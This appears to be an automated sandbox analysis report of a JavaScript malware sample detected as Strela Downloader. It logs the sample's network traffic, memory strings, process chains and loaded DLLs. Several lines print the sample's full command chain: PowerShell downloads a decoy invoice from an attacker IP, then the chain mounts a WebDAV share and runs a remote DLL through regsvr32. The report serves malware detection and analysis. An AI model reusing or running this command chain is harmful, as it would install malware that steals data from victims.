HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2053966794.000002FAAD12B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2115206703.0000025D27E70000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2115206703.0000025D27E18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2115206703.0000025D27E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2115206703.0000025D27E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/#
Source: net.exe, 00000007.00000002.2115206703.0000025D27E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/S
Source: net.exe, 00000007.00000002.2115206703.0000025D27E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3352021205.0000027BC6200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2117071073.0000027BC5F40000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 616, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 677073752851910183.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dllah1lw.daa.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,12401072531006071825,1432913878226022289,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,12401072531006071825,1432913878226022289,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
